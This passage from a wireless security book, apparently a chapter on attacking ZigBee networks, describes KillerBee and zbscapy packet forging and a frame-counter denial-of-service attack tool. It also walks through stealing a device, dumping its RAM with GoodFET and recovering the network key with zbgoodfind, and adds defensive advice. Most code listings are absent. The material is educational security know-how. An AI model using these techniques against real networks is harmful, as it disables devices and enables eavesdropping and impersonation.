Preconfiguring	keys	in	the	factory	would	mitigate	the	key	transport	attack	because	the
ZigBee	devices	on	the	network	would	already	know	the	key	material	to	protect	all
transmitted	data.	The	downside	of	preconfiguring	keys	is	that	rotating	and	revoking	keys
becomes	very	difficult,	requiring	the	administrator	to	interface	manually	with	each	device
in	the	ZigBee	network.

The	SKKE	key	derivation	function	available	in	the	ZigBee	Pro	specification	is	used	to
derive	keys	such	as	the	group	key	between	the	Trust	Center	and	the	device	authenticating
to	the	network.	In	order	for	SKKE	to	be	used,	however,	both	devices	must	be	configured
with	a	master	key,	which	can	be	distributed	in	an	over-the-air	unprotected	transport	or
preconfigured	on	devices;	both	situations	introduce	the	same	risks	as	the	prior	key
establishment	methods	we’ve	discussed.



Packet	Forging	Attacks
KillerBee	is	designed	to	be	developer	friendly,	using	the	Python	language	to	implement	all
of	the	nonfirmware	code.	In	addition	to	supporting	Python	developers,	KillerBee
integrates	with	the	packet	sniffing	and	crafting	framework	Scapy	by	Philippe	Biondi.

Scapy	by	itself	neither	supports	the	IEEE	802.15.4	or	ZigBee	protocols,	nor	is	it
capable	of	interacting	with	a	KillerBee-supported	hardware	device	such	as	the
RZUSBstick.	To	integrate	KillerBee	and	Scapy,	Ricky	Melgares	and	Spencer	McIntyre
made	significant	contributions	to	the	KillerBee	project.	Through	these	contributions,
KillerBee	also	offers	the	zbscapy	tool,	allowing	users	to	sniff	and	forge	ZigBee	and	IEEE
802.15.4	packets	using	the	familiar	Scapy	syntax.

	

This	book	does	not	aim	to	be	a	resource	for	learning	the	syntax	and	functionality	of	the
Scapy	framework.	We’ll	examine	the	zbscapy	functionality	and	use	Scapy	syntax	for
packet	sniffing	and	crafting	as	it	relates	to	IEEE	802.15.4	and	ZigBee	networks.	Users
who	are	new	to	Scapy	should	first	read	the	Scapy	tutorial	documentation	at
http://www.secdev.org/projects/scapy/doc/usage.html.

Setting	Up	zbscapy
The	zbscapy	tool	requires	the	installation	of	a	modified	version	of	the	Scapy	project	that
includes	numerous	user	contributions	and	enhancements	known	as	scapy-com	(Scapy
Community	Edition).	From	your	Linux	host,	check	out	the	scapy-com	project	source	code
(using	the	Mercurial	tool	hg)	and	install	as	shown	here:

With	the	scapy-com	software	installed,	you	can	invoke	the	zbscapy	tool	to	access	the
interactive	shell	environment,	as	shown	here:

http://www.secdev.org/projects/scapy/doc/usage.html


Packet	Forging	with	zbscapy
When	you	invoke	the	zbscapy	command	as	root,	you	can	manually	sniff	and	forge
arbitrary	packets	using	the	identified	or	first	available	KillerBee	device.	Familiar	Scapy
commands	such	as	ls()	will	display	supported	packet	types,	with	the	addition	of	MAC-
layer	Dot15d4()	functions,	and	several	new	LLC	layers	starting	with	ZigBee	and	“ZCL”
for	the	ZigBee	Cluster	Library,	as	shown	here	(note	that	the	output	from	the	Scapy	ls()
function	has	been	trimmed	for	space):



The	zbscapy	tool	introduces	the	killerbee_channel	configuration	option	to	specify
the	channel	number	to	use	when	transmitting	packets.	After	setting	this	value,	you	can
instantiate	a	KillerBee	object	with	the	KillerBee()	method	and	craft	and	transmit
packets.	The	following	example	demonstrates	some	of	the	functionality	of	the	zbstumbler
tool,	transmitting	a	single	IEEE	802.15.4	beacon	request	frame	on	channel	15:

In	this	example,	we	create	a	basic	IEEE	802.15.4	frame	with	a	payload	of
Dot15d4Cmd(),	specifying	the	command	type	of	beacon	request.	We	can	send	the	packet
payload	by	invoking	the	kbsendp()	function.	Optionally,	you	could	send	the	packet
repeatedly	with	a	one-second	delay	between	packets	by	adding	the	loop=1	and	inter=1	as
parameters	following	mypkt	in	the	kbsendp()	call;	interrupt	the	transmission	by	pressing
CTRL-C:

Forging	arbitrary	packets	becomes	straightforward	using	zbscapy,	giving	us
tremendous	flexibility	for	testing	target	devices	with	any	variety	of	packet	data.	For



example,	we	can	send	similar	beacon	request	frames,	but	iterate	through	all	possible
command	type	values	(including	invalid	and	unsupported	command	types)	by	integrating
a	short	Python	while	loop	with	the	kbsendp()	command,	as	shown	here:

In	addition	to	forging	packets,	zbscapy	makes	it	straightforward	to	receive	packets	for
subsequent	processing,	as	you’ll	see	next.

Packet	Sniffing	with	zbscapy
In	the	previous	example,	we	transmitted	a	variety	of	valid	and	invalid	IEEE	802.15.4
frames,	including	a	beacon	request.	Transmitting	a	beacon	request	replicates	some	of	the
behavior	of	the	zbstumbler	tool,	but	doesn’t	display	any	information	about	the	received
packets.	We	can	modify	the	behavior	of	this	script	to	transmit	and	receive	packets,
summarizing	information	about	the	received	frames	as	shown:



In	this	example,	we	forged	a	valid	IEEE	802.15.4	frame	with	the	command	type
beacon	request,	specifying	the	broadcast	destination	address	0xffff.	Instead	of	transmitting
the	frame	with	kbsendp(),	which	transmits	the	frame	and	then	returns,	we	transmit	with
kbsrp1(),	which	transmits	the	frame	and	then	waits	for	a	response	packet	from	the
network.	We	can	easily	summarize	the	received	frame	contents	on	a	single	line	with	the
show()	function	or	examine	additional	information	about	the	received	frame	in	the	resp
list	with	the	show2()	function.

	

Sending	a	packet	with	kbsrp1()	blocks	the	script	until	a	packet	is	received.	You	can
instruct	the	kbsrp1()	function	to	transmit	and	only	wait	for	a	specified	number	of	seconds
before	continuing	with	the	script	with	the	timeout	parameter:
resp	=	kbsrp1(mypkt,	iface=kb,	timeout=3)

The	zbscapy	tool	can	also	be	used	as	a	stand-alone	sniffer	outside	of	packet	injection
tasks	with	the	kbsniff()	function.	Like	the	Scapy	counterpart,	kbsniff()	returns	a	list	of



received	packets,	continuing	until	the	kbsniff()	function	is	interrupted,	the	number	of
packets	specified	with	the	count	parameter	has	been	received,	or	the	kbsniff()	function
runs	for	the	number	of	seconds	specified	with	the	timeout	parameter.	In	the	next	example,
we	also	override	the	value	of	the	conf.killerbee_channel	parameter	to	specify	an
alternative	channel	number	as	part	of	the	kbsniff()	function:

In	this	example,	the	kbsniff()	function	sniffs	on	channel	20	for	a	period	of	30
seconds,	returning	four	packets.	We	can	reference	each	packet	as	an	indexed	element	and
summarize	the	packet	contents,	or	get	a	one-line	summary	of	each	packet	with
packets.show().

Like	Scapy’s	sniff()	function,	kbsniff()	also	supports	the	ability	to	invoke	a
callback	function	each	time	a	packet	is	received,	allowing	us	to	write	custom	code	to
process	each	packet	as	it	is	captured,	while	populating	the	packets	list	object:



	

The	output	in	this	example	has	been	modified	to	best	fit	the	space	available.

In	this	example,	we	defined	a	function	processpkt	that	is	invoked	by	kbsniff	each
time	a	packet	is	received.	The	processpkt	function	checks	to	see	if	the
ZigBeeSecurityHeader	layer	is	present	in	the	received	packet,	and	if	it	is,	it	checks	if	the
frametype	is	zero	(a	data	frame)	and	if	the	bit	indicating	the	presence	of	ZigBee	security	is
not	set	(unencrypted	data	frames).	When	these	conditions	are	met,	the	packet	payload	is
printed	with	the	hexdump	function.

With	this	basic	capability	of	easily	receiving	and	transmitting	frames,	we	can	simplify
the	development	of	new	ZigBee	and	IEEE	802.15.4	attack	tools.	Next,	we	look	at	an
example	of	developing	an	attack	tool	using	zbscapy	that	takes	advantage	of	a	published
denial	of	service	flaw	in	encrypted	IEEE	802.15.4	networks	for	which	no	public	exploits
are	currently	available.

	Exploiting	IEEE	802.15.4	with	zbscapy



The	IEEE	802.15.4	protocol	supports	MAC	layer	encryption	and	frame	validation
capabilities	with	AES-CTR	and	a	Message	Integrity	Check	(MIC)	function.	This	security
control	is	not	mandatory	for	IEEE	802.15.4	deployments,	but	can	be	found	in	use	cases
where	strong	confidentiality	and	authenticity	are	required.

Unfortunately,	the	design	of	frame	processing	in	these	secure	IEEE	802.15.4
deployments	exposes	the	system	to	a	sustained	denial	of	service	(DoS)	attack.	First
identified	in	2006	by	Rui	Silva	and	Serafim	Nunes	in	the	paper	“Security	in	IEEE
802.15.4	Standard”	(the	Silva/Nunes	attack),	an	attacker	can	manipulate	target	devices	to
prevent	all	subsequent	processing	of	inbound	packets.	This	attack	can	create	a	DoS
condition	in	which	the	administrator	must	manually	reflash	all	devices	in	the	organization
to	recover.

Silva/Nunes	IEEE	802.15.4	DoS	Attack	The	Silva/Nunes	attack	exploits	a	flaw	in	how
recipients	process	inbound	packets	with	regard	to	the	IEEE	802.15.4	frame	counter	(FC)
value.	When	a	transmitting	node	sends	a	secure	packet,	it	includes	a	sequential	frame
control	value	that	is	present	in	each	frame	with	a	range	of	0	to	4,294,967,294	(0	to
0xffffffff-1).	The	FC	value	itself	is	not	encrypted,	but	it	is	included	in	the	calculation	of
the	MIC	for	a	packet.

A	receiving	node	remembers	the	last	observed	FC	value	for	all	of	the	nodes	on	the
network.	As	part	of	a	mechanism	to	defeat	replay	attacks	and	to	avoid	reprocessing	packet
retransmissions,	the	receiving	node	only	accepts	packets	where	the	FC	is	at	least	one
greater	than	the	last	observed	FC.	This	common	packet	validation	mechanism	is	used	in
many	protocols,	shown	in	further	detail	in	Figure	13-6.





Figure	13-6	IEEE	802.15.4	received	packet	processing	steps

An	additional	consideration	for	the	receiving	node	is	the	handling	of	the	FC	value	as
an	input	to	the	encryption/decryption	routines.	The	FC	value	is	part	of	the	per-packet	key-
generation	mechanism	used	in	IEEE	802.15.4	for	nonce	construction,	as	shown	here.

The	frame	counter	is	used	to	make	the	nonce	unique	for	each	packet	transmitted	by	a
specific	node.	This	is	an	essential	component	for	IEEE	802.15.4	with	the	AES-CTR
mechanism	for	encryption	in	CCM*:	repeating	nonce	values	would	lead	to	initialization
vector	collision	attacks,	allowing	an	attacker	to	decrypt	unknown	with	known
ciphertext/plaintext	data.	Lacking	support	for	a	key	rotation	mechanism,	IEEE	802.15.4
further	specifies	that	when	the	frame	counter	value	is	equal	to	0xffffffff,	the	receiving
node	must	stop	processing	all	further	data	from	the	device	by	adding	the	transmitter	to	a
device	blacklist	(IEEE	Standard	802.15.4-2006,	section	7.5.8.2.3,	steps	j	and	o).	To
remove	a	device	from	the	blacklist,	the	administrator	must	change	the	network	key	on	all
devices	(typically	by	modifying	the	firmware	on	devices).

Under	intended	use	circumstances	in	IEEE	802.15.4,	devices	are	not	likely	to	reach	the
maximum	frame	counter	value.	At	an	unlikely	sustained	packet	transmission	rate	of	one
packet	per	second,	a	node	will	reach	the	maximum	frame	counter	value	after	136	years.
One	would	hope	that	we	will	not	be	relying	on	IEEE	802.15.4	security	controls	in	the	next
century.

In	their	analysis	of	the	IEEE	802.15.4	security	components,	Silva	and	Nunes	identified
a	flaw	in	how	the	specification	processes	inbound	packets	with	regard	to	the	frame	counter
value.	As	shown	in	Figure	13-6,	when	the	FC	is	0xffffffff,	the	node	stops	processing	the
packet.	For	any	value	less	than	the	maximum	FC	value,	however,	the	receiving	node
checks	to	see	if	the	FC	is	at	least	one	greater	than	the	last	observed	FC.	If	the	inbound
packet	has	an	FC	that	passes	this	test,	the	recipient	updates	the	value	used	to	check	the
next	FC	and	attempts	to	decrypt	the	packet.	Therein	lies	the	critical	flaw:	the	check-next
FC	value	is	updated	prior	to	validating	the	encrypted	packet.	An	attacker	who	can	forge
packets	on	the	IEEE	802.15.4	network	can	impersonate	a	legitimate	node	with	an	FC	of
0xffffffff-1	and	update	the	recipient	check-next	FC	such	that	it	must	blacklist	the
legitimate	transmitter.

At	the	time	of	this	writing,	there	are	no	publicly	available	tools	to	implement	the
Silva/Nunes	attack.	However,	we	can	quickly	develop	an	attack	tool	using	the	features	of
zbscapy.

Exploiting	IEEE	802.15.4	Frame	Counter	Validation	For	the	most	effective	DoS
condition,	an	exploit	tool	should	have	the	following	features:

•		Identify	IEEE	802.15.4	networks	automatically	through	packet	sniffing.

•		Extract	the	required	fields	from	observed	packets:	frame	control	field,	source



address,	source	PAN	ID,	destination	address,	destination	PAN	ID,	and	security
control	field.

•		Transmit	forged	packets	that	include	the	required	fields	with	a	frame	counter
value	of	0xfffffffe	(0xffffffff-1).

•		Optional:	channel	hop	periodically	to	maximize	the	attack	potential.

With	zbscapy,	we’ll	use	the	kbsniff()	and	kbsendp()	functions	to	watch	for	IEEE
802.15.4	frames	that	include	the	necessary	security	elements	to	be	vulnerable	to	this
attack,	injecting	a	modified	version	of	the	observed	frame	to	trigger	the	DoS	condition:



In	this	example	a	while(1)	loop	is	used	to	run	the	attack	indefinitely.	Within	the	loop,
the	channel	variable	is	used	to	cover	each	of	the	2.4	GHz	IEEE	802.15.4	channels,
sniffing	for	10	seconds	before	moving	on	to	the	next	channel.	Each	time	kbsniff()
receives	a	packet,	it	runs	the	attack()	function.

The	attack()	function	examines	the	packet	content	to	determine	if	it	has	the	auxiliary
security	header	information	and	the	frame	counter	field.	If	these	fields	are	present,	the
packet	is	modified	to	set	the	frame	counter	to	0xfffffffe	(the	maximum	allowed	value).	The



modified	packet	is	injected	into	the	network	three	times,	with	a	one-second	delay	between
each	transmission	on	the	channel	where	the	packet	was	observed,	before	ending	the
function.

	

Running	this	script	in	a	production	environment	is	not	advisable	because	it	will
indiscriminately	stop	all	IEEE	802.15.4	devices	from	communicating.	Recovery	from	such
an	attack	can	be	costly	or	impossible	if	key-changing	procedures	are	not	available	to	the
administrator.

The	zbscapy	tool	is	a	powerful	addition	to	the	KillerBee	suite	of	tools,	allowing	users
to	develop	and	experiment	quickly	with	various	attacks	against	devices.	Because	many
production	ZigBee	and	IEEE	802.15.4	deployments	have	their	own	unique	nuances	that
require	additional	experimentation	from	a	security	perspective,	spend	time	working	with
and	experimenting	with	zbscapy’s	functionality;	you’ll	find	it	a	worthwhile	investment.

Attack	Walkthrough
Next,	we	examine	an	end-to-end	ZigBee	attack	against	a	custom	ZigBee	device
implementation.	This	attack	has	been	combined	out	of	several	real-world	examples
implemented	by	the	author	during	penetration	tests	and	assembled	such	that	the	identity	of
the	targeted	networks	cannot	be	identified.

In	this	attack,	we’ll	exploit	another	common	weakness	in	ZigBee	technology:	physical
security.	Due	to	the	distributed	nature	of	ZigBee	technology	and	the	relatively	small	size
of	peripherals,	theft	of	a	device	offers	the	attacker	a	valuable	opportunity.	Taking	physical
possession	of	a	device	for	the	purpose	of	reverse	engineering	and	attacking	other	devices
is	a	reality,	with	a	minimum	of	risk	upfront	for	significant	payoff	later.

Because	of	the	low	cost	of	ZigBee	devices,	nodes	are	not	likely	to	utilize	tamper-proof
hardware	solutions.	This	weakness	gives	an	attacker	who	has	possession	of	a	device	the
ability	to	open	and	interface	with	the	ZigBee	radio	and/or	related	peripherals	(such	as	the
microprocessor	or	cryptographic	accelerators).	For	many	modern	ZigBee	radio	interfaces,
an	attacker	with	physical	access	to	a	device	can	abuse	the	debugging	and	configuration
interface	intended	for	developer	support	to	recover	encryption	key	material,	as	you’ll	see
in	this	attack.

Network	Discovery	and	Location
The	first	step	in	this	attack	is	to	locate	a	physical	ZigBee	device.	We’re	assuming	the
attacker	is	targeting	a	specific	network	or	organization	for	this	illustration	(such	as	for	a
penetration	test	or	the	attacker	has	the	opportunity	to	benefit	from	attacking	a	specific
ZigBee	network).	By	leveraging	radio	signal	analysis	for	a	discovered	device,	an	attacker
can	leverage	a	laptop,	netbook,	or	small	handheld	device	to	identify	the	source	of	a



ZigBee	transmission	with	the	KillerBee	tool	zbfind.

KillerBee	zbfind	Device	Location	Analysis

The	zbfind	tool	included	in	the	KillerBee	suite	allows	an	attacker	to	identify	IEEE
802.15.4	devices,	including	ZigBee	transmitters	within	range.	Zbfind	provides	a	simple
view	of	the	devices.	Selecting	a	device	from	the	device	list	will	populate	additional	detail
about	the	device,	such	as	the	types	of	frames	observed	from	the	selected	target	and	the
first	and	last	time	activity	was	observed.

For	a	selected	device,	zbfind	will	characterize	the	signal	strength	of	the	packets
received	in	two	forms.	First,	a	speedometer	widget	is	used	to	represent	the	signal	strength
of	the	last	packet	received,	with	the	needle	pointing	farther	to	the	right	as	the	attacker	gets
closer	to	the	selected	device.	Second,	a	signal	history	graph	is	displayed	as	well,	showing
the	changes	in	signal	strength	over	time,	as	shown	here.

After	installing	KillerBee,	launch	zbfind	at	the	command	line:



$	sudo	zbfind

To	track	a	device’s	location,	an	attacker	would	move	in	the	direction	of	a	stronger
signal	until	the	maximum	signal	strength	has	been	reached.	Once	the	maximum	signal
strength	has	been	reached,	the	attacker	would	begin	to	inspect	the	area	visually	for	the
target	device.

To	keep	observing	the	changing	signal	activity,	the	target	device	needs	to	generate
traffic	on	the	network.	Because	ZigBee	devices	generally	generate	little	activity,	waiting
for	the	target	device	to	generate	frames	to	update	the	signal	strength	would	be	tedious,
making	it	difficult	for	the	attacker	to	collect	sufficient	information	for	effective	signal
analysis.	To	address	this	issue,	zbfind	will	also	attempt	to	reach	the	target	device	by
sending	ping	messages	to	the	target	once	every	five	seconds.	Each	response	from	the
target	device	will	update	the	speedometer	widget	and	provide	an	additional	data	point	for
the	signal	history	graph.

Using	zbfind	and	signal	strength	analysis,	you	can	identify	a	ZigBee	transmitter	and
move	closer	to	the	transmitter	source,	using	the	speedometer	widget	and	signal	graph	as	a
guide.	If	the	target	device	is	unprotected,	taking	possession	of	the	device	is	unlikely	to	be
a	concern	for	the	attacker.

Analyzing	the	ZigBee	Hardware
With	physical	possession	of	a	ZigBee	device,	the	attacker	can	open	the	case	or	housing	in
a	lab	to	examine	the	supporting	circuitry	and	peripheral	devices,	identifying	the	ZigBee
radio	and	microprocessor.	In	newer	radio	designs,	these	components	will	be	integrated	for
greater	power	savings	in	a	System-on-Chip	solution	(SoC),	such	as	in	the	Texas
Instruments	Chipcon	CC2540.	This	radio	interface	can	support	up	to	128KB	persistent
flash	storage	with	8KB	RAM	using	the	integrated	Intel	8051	microprocessor.

One	attack	against	the	Chipcon	CC2540	radio	is	to	connect	an	attack	peripheral	device
directly	to	the	chip	over	the	serial	interface	intended	for	debugging	purposes.	With	this
connection,	we	can	leverage	the	chip’s	interface	for	issuing	debugging	commands	and
collecting	data	responses,	including	the	ability	to	extract	data	loaded	into	RAM.	When	the
CC2540	is	powered	up	by	the	stolen	ZigBee	device,	the	microprocessor	will	execute
stored	flash	memory	instructions,	preparing	the	chip	for	use,	including	loading	common
variables	into	memory.	Even	when	security	mechanisms	are	enabled	to	prevent	someone
from	accessing	the	flash	memory	on	the	CC2540,	the	RAM	remains	unprotected,	allowing
an	attacker	to	dump	the	contents	within	several	seconds.	We	can	extract	this	RAM,	writing
it	to	a	local	file	on	a	Linux	or	OS	X	host	with	GoodFET.

	GoodFET



GoodFET,	the	creation	of	Travis	Goodspeed,	is	a	hardware	device	implementing	the
Join	Test	Action	Group	(JTAG)	protocol	used	for	interfacing	with	the	target	chip	over	the
debug	interface	and	accompanying	firmware	and	software	tools	available	for	Linux	and
OS	X	systems.	Both	hardware	and	software	components	are	released	as	open	source,
including	a	bill	of	materials	and	Eagle	CAD	circuit.	Built	GoodFET	devices	are	available
from	online	resellers	such	as	Adafruit	for	$50US
(http://www.adafruit.com/products/1279).	A	completed	GoodFET	revision	4.2	board	is
shown	here.

The	accompanying	software	for	GoodFET	is	available	from	the	project	home	page	at
http://goodfet.sf.net.	You	can	download	the	latest	code	using	Subversion	with	Debian-style
dependency	additions	installed:

http://www.adafruit.com/products/1279
http://goodfet.sf.net


	

At	the	time	of	this	writing,	the	Chipcon	GoodFET	client	does	not	support	writing	code
memory	to	Chipcon	devices.	This	may	be	resolved	in	a	future	release.

The	GoodFET	interfaces	to	the	CC2540	through	the	Chipcon	debugging	interface.
This	interface	is	similar	to	the	Serial	Peripheral	Bus	(SPI)	interface	used	to	interconnect
ICs	on	a	circuit	board,	except	that	it	uses	a	single	bidirectional	data	line	instead	of	the
master-out	slave-in	(MOSI)	and	master-in	slave-out	(MISO)	data	lines.

Four	wires	must	be	connected	between	the	CC2540	target	device	and	the	GoodFET.
Details	of	the	debug	pins	for	the	CC2540	can	be	found	in	the	CC2540	data	sheet,	which	is
summarized	in	the	following	table.

The	details	of	connecting	the	GoodFET	to	a	specific	ZigBee	target	device	using	a
CC2540	will	differ	depending	on	the	device,	though	generally	the	process	is	to	identify	the
CC2540	chip	and,	using	a	continuity	tester,	place	one	fine-point	lead	on	a	target	CC2540
pin	(for	example,	the	DEBUG_DATA	pin,	CC2540	pin	46)	and	explore	other	solder
masks,	vias	(holes	in	circuit	boards	passing	through	the	top	and	bottom	layers),	and
breakout	pins	for	continuity.	In	a	worst-case	scenario,	a	fine-point	lead	such	as	a	medical
syringe	can	be	used	to	probe	the	CC2540	pin	itself,	though	identifying	other	larger	solder
points	or	breakout	pins	used	in	the	device	development	process	for	debugging	will	be



easier.	Once	continuity	between	the	first	target	pin	and	the	board	has	been	identified,
continue	the	process	for	the	other	pins	as	well.	Once	a	mapping	of	each	pin	is	available,
connect	the	pins	to	the	GoodFET	as	documented	in	the	previous	table	using	small	clips.
An	example	of	a	target	CC2540	device	interfacing	with	a	GoodFET,	where	two	sets	of
breakout	pins	were	identified	through	continuity	testing,	is	shown	next.

Once	you	have	the	GoodFET	hardware	configured	to	interface	with	the	target	chip,
you	can	validate	the	connection	using	the	goodfet.cc	info	verb.	First,	you	export	the
variable	GOODFET	to	point	to	the	USB	serial	device	that	was	registered	when	you
plugged	in	the	GoodFET	(usually	/dev/ttyUSB0,	unless	you	already	have	a	USB	serial
device	such	as	an	RS-232	adapter	or	USB	GPS	attached).	Then	you	identify	the	target	by
reading	the	data	from	the	chip	debug	interface:

With	confirmed	access	to	read	from	the	chip,	you	can	dump	all	the	memory	on	the	target
device	to	a	file,	as	shown	here:

Once	you	have	extracted	the	RAM	from	the	target	device	into	a	file,	you	can	continue	the
attack	to	extract	interesting	information	from	the	device.

RAM	Data	Analysis



Several	papers	have	been	published	in	recent	years	dealing	with	the	issue	of	applying
forensic	analysis	to	the	contents	of	RAM	to	identify	interesting	information.	In	the
microprocessor	world,	the	same	theories	apply,	including	searching	for	data	patterns	and
applying	entropy	analysis	techniques	(measuring	the	randomness	of	data).	Furthermore,
because	you	are	dealing	with	8K	of	memory	as	opposed	to	multiple	gigabytes	of	memory,
brute-force	attacks	are	also	possible.

Because	RAM	access	is	faster	than	flash	on	the	Intel	8051	microprocessor,	frequently
used	variables	are	loaded	into	RAM	for	improved	performance.	One	frequently	used
variable	in	ZigBee	devices	is	the	group	key	used	for	encrypting	and	decrypting	traffic.	To
extract	this	value	from	the	memory	dump,	we	can	use	each	of	the	potential	key	values
from	the	memory	dump	and	attempt	to	decrypt	an	observed	packet.	If	the	packet	does	not
decrypt	properly,	we	move	on	to	the	next	key	value	until	we	find	the	correct	key	or	we	run
out	of	key	guesses.	With	8K	of	RAM	and	a	16-byte	(128-bit)	key	length,	we	only	have	to
guess	8,177	guesses	in	a	worst-case	scenario	to	recover	the	value	that	represents	the
encryption	key,	which	can	be	done	in	a	few	seconds	or	less.

KillerBee	zbgoodfind	Key	Recovery

The	zbgoodfind	tool	included	in	the	KillerBee	suite	was	designed	to	accompany	the
GoodFET	data	memory	dump	attack,	which	accepts	two	input	files:	an	encrypted	packet
capture	and	a	binary	memory	dump	file	from	a	system	previously	participating	in	the
encrypted	ZigBee	network.	First,	zbgoodfind	parses	the	packet	capture	to	identify	an
encrypted	packet.	Once	an	encrypted	packet	capture	is	found,	zbgoodfind	reads	through
the	memory	dump	file	using	each	contiguous	128-bit	value	as	a	potential	AES	key,
attempting	to	decrypt	the	packet.	This	process	continues	until	the	packet	is	decrypted
properly,	or	zbgoodfind	exhausts	all	the	potential	keys	in	the	memory	dump	file,	at	which
point,	it	moves	on	to	the	next	packet	or	exits	at	the	end	of	the	packet	capture.

First,	we	install	the	binutils	package	to	get	the	objdump	tool,	as	shown	here:
$	apt-get	install	binutils

Next,	we	convert	the	hexfile	output	from	GoodFET	to	a	binary	file:
$	objcopy	-I	ihex	-O	binary	chipcon-2530-mem.hex	chipcon-2530-mem.bin

Finally,	we	can	search	for	the	key	present	in	the	memory	dump	file	using	the	packet
capture	encdata.dcf	with	zbgoodfind,	as	shown	here:



	

The	zbgoodfind	utility	can	read	from	a	libpcap	or	a	Daintree	SNA	file	by	specifying	the	-r
or	-R	arguments,	respectively.

In	this	example,	the	network	key	to	decrypt	the	packet	capture	file	successfully	was
discovered	after	6,397	key	guesses.	Once	the	key	is	recovered,	the	attacker	can	return	to
the	target	environment	to	eavesdrop	on	and	decrypt	traffic,	or	impersonate	authorized
devices	and	join	the	ZigBee	network.

	Defending	Against	a	Hardware	Attack
In	this	attack,	we	highlighted	steps	for	stealing	a	ZigBee	device	and	attacking	the
hardware	to	recover	encryption	key	material.	From	a	physical	security	perspective,	you
can	protect	ZigBee	devices	against	theft	through	classic	monitoring	and	theft-deterrent
techniques,	including	video	monitoring,	security	guards,	hardware	locks,	and	device
tethers.	These	systems	generally	do	not	mix	well	with	ZigBee,	however,	in	situations
where	a	device	may	be	outside	in	an	unprotected	area	or,	in	some	cases,	in	the	hands	of	the
consumer	who	is	meant	to	use	the	system,	such	as	in	retail	locations	for	automated
checkout	and	payment.

While	this	section	highlights	the	deficiency	of	the	Texas	Instruments	Chipcon
CC2430,	this	vulnerability	has	been	confirmed	on	other	devices	as	well,	including	the
CC2530	and	CC2531,	as	well	as	devices	made	by	other	ZigBee	chipset	manufacturers,
including	Ember.	Legacy	chipsets	that	operate	with	an	external	microprocessor,	such	as
the	CC2420,	are	similarly	vulnerable,	as	an	attacker	can	eavesdrop	on	the	configuration
data	sent	between	the	microprocessor	and	the	radio	interface	at	system	boot	time	by
interfacing	with	the	SPI	bus	to	extract	key	information,	using	zbgoodfind	to	identify	the
key	content.

Tamper-proof	detection	systems	can	be	used	to	make	this	attack	more	difficult,	such	as
automated	systems	that	destroy	radio	chips	when	the	case	of	the	ZigBee	device	is	opened,
though	these	systems	are	often	more	costly	than	is	desirable	for	ZigBee	implementations.
Physical	deterrents	can	also	be	used,	such	as	coating	circuit	boards	with	black



nonconductive	epoxy.	These	systems	are	not	foolproof,	however,	as	multiple	techniques
exist	for	clearing	and	removing	epoxy	without	damaging	the	circuit	board.

Summary
ZigBee	is	a	quickly	growing,	low-speed,	and	extremely	low-power	utilization	protocol,
servicing	multiple	industry	verticals	such	as	healthcare,	home	automation,	smart-grid
systems,	and	security	systems.	While	ZigBee	includes	mechanisms	to	protect	data
confidentiality,	frequently	citing	the	use	of	AES	as	the	miracle	defense	against	attacks,	the
vulnerabilities	in	ZigBee	stem	from	the	limited	functionality	of	inexpensive	devices.

Several	open	source	tools	are	available	to	evaluate	the	security	of	ZigBee	technology,
with	the	KillerBee	tool	suite	providing	a	simple	and	robust	mechanism	for	ZigBee
exploitation	and	attack	tool	development.	Physical	security	attacks,	powered	by	the
GoodFET	and	zbgoodfind	tools,	are	also	possible	due	to	vulnerabilities	in	common
integrated	radio	and	microprocessor	environments.

As	ZigBee	grows	in	popularity,	it	will	be	scrutinized	more	by	attackers	and	researchers
alike.	Although	ZigBee’s	feature	set	makes	it	attractive	for	a	variety	of	applications,
further	analysis	will	be	necessary	to	vet	the	security	of	this	protocol	in	areas	where	data
confidentiality	and	integrity	are	necessary.

While	ZigBee	continues	to	grow	for	enterprise	and	industrial	deployments,	an
alternative	protocol	has	become	commonplace	for	consumer	deployments	in	homes.	In	the
next	chapter,	we’ll	examine	the	strengths	and	vulnerabilities	in	the	Z-Wave	protocol
plaguing	many	smart-home	deployments.
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HACKING	Z-WAVE	SMART
HOMES

	





Although	the	Z-Wave	protocol	has	made	great	strides	in	providing	wireless	connectivity	to
commercial	environments,	Z-Wave	targets	the	smart-home	market.	Using	Z-Wave
devices,	consumers	can	connect	conventional	devices	(such	as	lights,	appliances,

door	locks,	motion	sensors,	and	more)	to	each	other,	along	with	smart	devices	(such	as
smart	bulbs,	smart	door	locks,	smart	motion	sensors,	and	more),	ultimately	connecting	to	a
central	control	device	that	may	also	connect	to	the	Internet.	With	this	device	and	network
interconnectivity,	these	smart	devices	can	be	controlled	and	monitored	from	mobile
devices	and	traditional	computing	devices.

The	Z-Wave	Alliance	is	a	consortium	of	hundreds	of	independent	device
manufacturers	that	design	and	sell	Z-Wave–connected	devices.	Responsible	for	the
designing,	testing,	and	marketing	of	Z-Wave	technology,	the	Z-Wave	Alliance	promises
consumers	that	Z-Wave–powered	smart	homes	provide	convenience,	energy	management,
remote	device	monitoring	and	control,	and	consumer	savings,	and	that	Z-Wave	devices	are
easy	to	install	and	as	secure	as	online	banking	(http://www.z-wave.com/what_is_z-wave).
With	over	20	million	products	in	use	in	homes	worldwide,	Z-Wave	technology	has	the
opportunity	to	become	the	de	facto	choice	for	smart-home-device	interconnectivity.

Z-Wave	Introduction
Unlike	many	of	the	other	protocols	covered	in	this	book,	Z-Wave	is	a	proprietary	protocol
from	Sigma	Designs.	Sigma	Designs	does	not	openly	share	the	details	of	the	Z-Wave
protocol	outside	of	a	nondisclosure	agreement	(NDA),	controlling	all	fabrication	and
delivery	of	Z-Wave	chips	to	product	manufacturers	(along	with	partner	manufacturer
Mitsumi).	For	these	reasons,	many	of	the	Z-Wave	details	are	not	publicly	known,	leading
to	a	relative	immaturity	in	Z-Wave	security	analysis	tools.

	

Widespread	deployment	of	wireless	technology	used	for	important	applications	without
open	scrutiny	has	a	historical	precedent	for	significant	security	failures.	Visit	the	book’s
companion	website	at	http://www.hackingexposedwireless.com	for	an	analysis	of	the
DECT	protocol	for	cordless	telephony	systems	that	had	similar	implementation	secrecy
and	ultimately	widespread	security	failures.

Z-Wave	Layers
Like	the	ZigBee	protocol,	Z-Wave	chips	utilize	aggressive	power	conservation	for	long
battery	life,	using	a	mesh	networking	model	to	accommodate	greater	device	range.	Z-
Wave	is	also	a	relatively	simple	protocol,	with	basic	support	for	positive
acknowledgement	and	frame	retransmission,	self-forming	and	dynamic	routing	topology

http://www.z-wave.com/what_is_z-wave
http://www.hackingexposedwireless.com


updates,	and	application-specific	profiles.	Z-Wave	uses	a	structured	protocol	stack,	as
shown	in	Figure	14-1.	We’ll	examine	each	of	these	components	so	you	can	gain	a	better
